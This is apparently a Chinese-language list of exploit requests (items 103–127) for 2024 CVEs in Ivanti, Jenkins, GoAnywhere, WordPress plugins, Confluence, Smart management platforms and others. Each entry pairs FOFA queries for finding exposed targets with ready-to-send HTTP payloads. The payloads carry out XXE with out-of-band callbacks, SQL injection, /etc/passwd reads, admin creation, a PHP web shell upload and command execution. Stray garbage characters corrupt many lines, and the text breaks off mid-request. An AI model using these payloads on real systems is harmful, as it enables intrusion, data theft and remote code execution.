2 d" p* f8 r0 O. ^5 H<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
) K# x* M0 m5 P3 T
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
4 n1 I) E! L9 i  VFOFA：body="welcome.cgi?p=logo"
! g3 P/ n! D& _( P- q1 i0 a5 ?% }POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
# y  a+ w) n& g( {1 V' |: b. sAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
$ x5 F( u. P. R- z4 P<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

2 ?! Q1 |0 }/ c- @) g. u
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
) e" h! x% A3 ~8 Q1 _; p# xCVE-2024-0569
2 Y- l; w  h. g7 uFOFA：title="TOTOLINK"
/ s# O3 R# `4 C' RPOST /cgi-bin/cstecgi.cgi HTTP/1.1
  ?6 q1 ]: S+ x: i" DHost:192.168.0.1
0 p6 _5 b% a% z* C& z  h" wContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
& P( E+ D3 S& W! c$ J: m3 Q& X; SUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
$ G9 k4 c9 h3 S2 iContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
3 p6 V& S# }: R" ~9 Q: ?Accept-Encoding:gzip,deflate
# n( j4 ?0 G/ W  N6 m5 ]7 aAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
# ^# |% Q, g# S* z- JConnection:close
( _" @0 e/ F0 L9 ]0 B3 |7 n
{
8 z  m; I# t' ]$ h; c" t) S- p"topicurl":"getSysStatusCfg",
"token":""
}
! b/ a) _* ?- Y+ v
: A5 b+ I) z6 E& Z9 ^105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

; J2 P3 v; ?7 Y& f. w7 `% O106. SpringBlade dict-biz/list SQL 注入
: n& ~& ^6 V1 S" O" wFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
$ A, |4 u# W& g! A: V* PHost: your-ip
9 O5 L  \" H2 Y1 }, `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 l0 I/ p" O9 g5 B! w7 dBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
" e! @& D6 Z9 X/ S6 X7 e2 {Accept-Encoding: gzip, deflate
7 x4 z) l0 e7 p! Q0 m& x/ x$ C  Q' l" xAccept-Language: zh-CN,zh;q=0.9
( U/ E  R1 t3 GConnection: close


- z6 ?( J, L  U" c107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
3 r3 E+ @7 ]! g( `5 _, M) tHost: your-ip
2 s+ l+ N" D& H# mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close

1 ^7 n" M* E1 [5 r  n) T! A( ]7 d* J9 [
108. D-Tale 3.9.0 SSRF
* D1 d& B$ F8 l- f7 j2 z2 B9 K2 c; Q: UCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
5 k, d/ [( ^- F1 `5 BGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
' _4 ?# d9 _. UHost: your-ip
* v6 N9 H% e' i4 w/ m6 b$ m2 BAccept: application/json, text/plain, */*
7 k) X# z( q' u# N1 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
  R0 @& ]  x& J2 D2 k# a

. `; P/ m; y4 r4 d4 v) C1 R109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
% j4 z9 o* I& v3 ^  {0 TPOST /cli?remoting=false HTTP/1.1
Host:
* a, C4 y$ ?# m5 B5 AContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
1 u+ f+ D$ r. w% C; ^  h* D/ ^Side: upload
% p+ f8 g4 N2 d. I! N+ oConnection: keep-alive
Content-Length: 163
2 O9 ~$ Y- A; k6 i" M; Z) f% D7 Q
: ^: K" ~0 p/ ]0 h2 ]& q0 C4 Jb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

3 P  V; Q& a6 \: t
POST /cli?remoting=false HTTP/1.1
/ k. r7 K3 v8 q) N% [. `% \" Z( XHost:
- ~0 ~* z$ b  d3 u  f5 i: FSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
5 p& d) \! E7 ~8 N0 @; e& _download
" H! P& E  X: b. |: e8 i) iContent-Type: application/x-www-form-urlencoded
Content-Length: 0

; A3 E! g/ v+ t2 S4 x, r5 m8 O
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
$ ]9 C( I3 e3 a4 p3 S' F' Bjava -jar jenkins-cli.jar help
[COMMAND]
- q% b* I# T1 [) X: ]. @3 M2 tLists all the available commands or a detailed description of single command.
- C! k  Q# w" ~5 G6 P COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
$ F1 \1 t: b! j

" l* c. P$ o- {% a( i3 A  O110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
/ ]- ]  b7 j2 ^; ^- \GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
# C' W9 h8 V. R7 LConnection: close
; o4 ]5 Z0 d! M% |7 WAccept: */*
Accept-Language: en
Accept-Encoding: gzip


3 _. q3 A$ o3 e111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
5 Y' j1 k9 D0 A  ], o# o# K, EGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
8 [  R. I& P, t1 `* F% I! qHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
) d3 g) z" A+ ^' M" m0 T' _0 Q* N  sConnection: close
) @) ^  ^* S% b# r# ?* i: T  GAccept: */*
Accept-Language: en
! o7 p1 q5 a' i& Q$ O3 v" k2 HAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
. v) ^0 a$ ]9 f/ P$ U( b! TCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
6 h# Z( A4 y4 r3 Z9 j. `POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
4 A, U6 j# f2 `& D8 b0 O7 c! l6 rContent-Type: application/json

$ @& R: \3 D6 n- u+ d& b" ?  j{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
( `5 a% P( ?2 r, [3 [0 v+ l* iCVE-2024-27954
' m8 @+ A5 I0 m% `! c* C6 }FOFA："/wp-content/plugins/wp-automatic"
4 F5 n$ ^0 S3 n. RGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
- E" e2 S# E) tHost: x.x.x.x
: q. K! F2 k. P) BUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
2 K8 @" Y* ?$ Q/ u+ e2 W& s* WAccept-Language: en
Accept-Encoding: gzip
! X# H6 C* A& }' v) ]0 {1 {
* D5 m0 A+ M6 B3 E. T
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
7 n: W* g0 M* }Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
/ C% a- [  ?$ P
3 Q+ ^; p4 v$ {3 r# J& M/ k9 V
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
1 U9 `' @0 y( _& j' GFOFA: body="/wp-content/themes/bricks/"
2 b2 Y; o3 {8 u第一步，获取网站的nonce值
GET / HTTP/1.1
3 B' n0 W! E& q6 \* a" cHost: x.x.x.x
: a3 F% A/ ?2 E, A) HUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip

: ]9 Y( F0 O7 }# D
第二步替换nonce值，执行命令
3 h8 ^" E2 W; `: _+ T! yPOST /wp-json/bricks/v1/render_element HTTP/1.1
2 v; k' W0 m# {* `: X, E! ]# dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
. \3 {8 M. f7 J( ^/ U" \Content-Length: 356
! y- f+ y3 W( V4 \& sContent-Type: application/json
Accept-Encoding: gzip
( _0 s, i9 D- C7 T! `
{
"postId": "1",
  "nonce": "第一步获得的值",
  L  o/ O6 n" ]2 L" n  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
% _2 Y$ o9 m, ]- x+ M9 t        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
! j) q% {  z6 u: j6 O1 F      }
    }
: \' {& \* H. s# y4 O  }
}


0 h: y! _# a9 i) u! J/ B116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
) |( b1 m) p- ]/ L! {Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
$ q* n5 K; H% v0 qconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
' Z! y7 {  Q- ~* p% K) tjssupportticket
6 Q/ h' \! ?; F" y# n# D% Z----------767099171
! m3 C2 r+ G9 v8 N6 q, tContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
( k( z$ T) L; M) L3 ^: z% TContent-Type: image/png
" d% @7 d$ X+ N% o2 S- r$ m----------767099171--


- O9 a9 w9 ^1 a% L* @7 O8 G6 ^117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
9 l% @$ }. H/ f# z/ h0 ?7 J- E. {GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
: k, h4 w3 N5 WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ @$ I0 s1 O/ G# }& G3 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, W+ i! [. W3 e8 RAccept-Encoding: gzip, deflate, br
. r( I; D; `2 A# a/ C3 yConnection: close
% O  r  N( q- iUpgrade-Insecure-Requests: 1
/ W3 G1 Z; y6 K* v
, k! z+ L5 d8 H6 W) O' c4 W/ i5 O
0 N! g) s5 o) p0 h) b$ u6 X6 v118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
- n( z+ {  u" W: N7 ]Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
* D* J$ [# W* y0 v) }4 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 U: A! Q3 T/ R: K+ p& bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 b* ?2 }5 Q! ~Accept-Encoding: gzip, deflate
) y' O/ N/ L, c  D7 U" KContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
  k! W- _0 I0 ?: RContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
2 h% \8 b& F  y1 m; `1 qSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
- R) t: P7 w0 \# @/ \
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
& v* E, p0 n2 k- V- W8 n
" i# G& o: U5 U<?php
* Q  i5 ^5 h- {3 ysystem($_POST["passwd"]);
% V6 p7 \& ^: N" h?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--


5 c  ~4 }; G, B8 b% i) R1 _访问/home/src.php
! V$ `4 w" P8 z8 ^8 W( F
119. 北京百绰智能S20后台sysmanageajax.php sql注入
; M  C, C" J; YCVE-2024-1254
9 b* o  J# b+ ?0 G0 OFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
" C: @% t' g6 X  t7 Q  N1 DPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
9 O, S& C4 @' Z, g2 p( l; B' DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. A5 ~, n/ H9 B, y( S: \Content-Type: application/x-www-form-urlencoded;
+ F2 l( s. k; WContent-Length: 109
6 h6 t# d8 ~- [9 c$ [* F6 rOrigin: https://58.18.133.60:8443
. l" ]9 `% e! X" s4 I- T, WReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
, h* [7 ]/ M. z6 W: kSec-Fetch-Dest: empty
4 |2 \4 i. Y% R& B- A$ _Sec-Fetch-Mode: cors
$ q& w& @# \+ z, V! q3 dSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
% V1 f; m, e5 wX-Originating-Ip: 1.1.1.1
6 n  t- K7 S' U& XX-Remote-Ip: 1.1.1.1
/ L" c2 \( ?* ^7 eX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
7 k$ m7 W! Y4 L! F; z7 Q
3 ?& ^! }  L7 J9 X) R. c# `src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
* Y' O4 G( X  P

120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
7 C2 [& ]0 W0 ~FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
' y; b* f0 Y1 l* CCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
6 I7 f) ?! V# L$ m+ q9 k, q" ^User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' J) g0 c& X3 j1 {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! a6 E/ i+ E3 ?9 \5 F: N: q) uAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
6 ~* C- Z! _; W- ?Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
/ D- K/ F4 u! H, ]Upgrade-Insecure-Requests: 1
; l( M# U) u9 N9 E9 RSec-Fetch-Dest: document
! d7 N8 o' Y- I) @6 cSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
& q- c; h; J9 ~6 E& k8 YSec-Fetch-User: ?1
Te: trailers
+ K( `/ c$ y5 t6 W& b6 cConnection: close
& C7 h7 Y0 R# U' y! |* E
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

% _% b- E' f7 M) Z) P% O, c/ P<?php phpinfo()?>
-----------------------------42328904123665875270630079328
( \$ a  \: y5 s; _2 o3 p5 IContent-Disposition: form-data; name="id_type"
: |) c0 A! e- I9 }$ F0 I4 c% N
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

) ~% h4 r+ G: k) L" X1_radhttp
: \4 K: [# \" n: C2 e* }( N+ _-----------------------------42328904123665875270630079328
0 z" s' P$ Z1 R4 @1 J! ], h7 L6 ?& RContent-Disposition: form-data; name="mode"
5 W4 t. c7 |  P% j% i1 m* h+ a
import
- W: S  M4 @$ _9 n0 l; s-----------------------------42328904123665875270630079328
& Q$ T7 ]- f( A* ^% `0 Q# u  m9 v, p
+ t' `" Q. H$ A; m/ }" x" a
5 e2 W3 m' r  W8 U文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
0 j  y% C: P3 d% x7 ICVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
& F* a, ~1 n) f; V+ Y  XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ A3 F$ \5 L+ l# Z  S$ f* IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
/ P4 S" j+ w6 ~' c+ P% zOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
& v  g/ m! `% bSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
) w! P( h+ C3 U; fTe: trailers
5 ~" l# I/ o$ E9 I* \5 B* iConnection: close

9 R. H6 a$ Q- p+ h5 |* {-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
$ ~7 }( w7 H3 G/ w5 vContent-Type: application/octet-stream
; h* v3 l, ]' l& ?
<?php phpinfo();?>
. P' V1 ?+ u; @1 y-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

6 [- s8 W" U" c5 i! i, ]1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
6 p1 Z0 ^3 g* D2 _0 D4 I( s% o
9 G, S$ g; o5 j7 s2 d7 J1_radhttp
-----------------------------42328904123665875270630079328
; N% E# `' v5 T* i. IContent-Disposition: form-data; name="hidwel"

4 N- v% c; Q" D1 H3 kset
-----------------------------42328904123665875270630079328
. ?2 v; O# e8 r0 I6 E& ]

1 S) g2 `8 U' j6 U4 w2 n* A4 Hboot/web/upload/weblogo/1.php
- B! k% k% @) j1 e+ X4 a
+ [1 i7 [1 `4 p/ B122. 北京百绰智能s200管理平台/importexport.php sql注入
1 O2 P2 a) O& C5 OCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
3 Q0 x# |+ f" k6 P" E4 WGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
2 E+ ^/ q- H7 E: O) Q, [! N' cHost: x.x.x.x
. }6 q! d, G1 t6 K" GCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. G4 y0 F  X! N. ~0 r8 }0 FAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
. q% Q2 \# |$ q0 L6 @. TSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
8 m6 M' g' v1 e: l4 \1 lSec-Fetch-User: ?1
Te: trailers
( e. n0 z3 _4 b, U& E% S  X! w0 N* JConnection: close


% `( ?) x, P+ h$ E123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
& G9 U9 U5 Z8 W3 k9 N: hAccept-Encoding: gzip, deflate, br
3 i# [; Z& K5 L$ }/ ]6 L2 jAccept: */*
) }5 {. b3 j& xAccept-Language: en-US;q=0.9,en;q=0.8
. Z5 N: c8 h) RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
$ c* k% O1 ~8 g
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
" b2 O. g  B$ D. K" O1 U: x5 F8 ]
- k: u+ Y; L# i9 m( X
. R4 Z' B' H  s124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
. q( k0 o8 ~( c1 @9 LPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- o; ?, k0 A. m. o. P' \Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
: }; y( Z0 ^* W& eAccept-Encoding: gzip, deflate, br
" P9 L, i5 M' nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 N9 q) k- _, G  s; Z! WConnection: close
4 g2 B" o6 [$ O3 d- b, x6 ]Content-Type: application/x-www-form-urlencoded
( m5 ^9 |# a8 ~# q) W0 W/ A. Z9 U
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx
5 m/ v* D- _; }1 x6 U- @. n7 B) A3 e
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
- {, G& q1 g5 q; Q1 {4 T) |: U* ohttps://github.com/watchtowrlabs ... bypass-add-user-poc
. E. g! L, o+ f7 j% @
( m1 q. \) a+ e9 a) I: M
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

7 m- Z, N! u  Y7 X5 o: o' S
创建好用户后直接登录后台，可以执行系统命令。

; A) q6 h6 b( n8 q- a, ?126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
4 _; m: f" ~: b4 z+ `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
, v- _% N/ ?1 x' G7 G, xAccept: */*
Accept-Language: en
Accept-Encoding: gzip

; w& ]- p: j* \+ Q
1 k2 ?# p$ P, e1 T127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
5 e# `( M4 |( u) V) ^* MPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
8 q9 ]4 L6 Q8 [3 cHost: 192.168.40.130:8888
8 J4 B, I$ y( U& a/ E- m! [0 w5 o9 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
' @) w8 V9 h0 x1 }; c& Z$ cContent-Length: 415
" y' Q+ Y, N- g! F1 s; WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' P8 W+ Y. m# [& S$ q% @' j' Q- DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 F$ Y$ V3 s4 t; z" W8 ^4 `; j2 P1 KConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
5 o; {1 _( q5 x* j* p* I) V- X5 @2 f5 ~Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

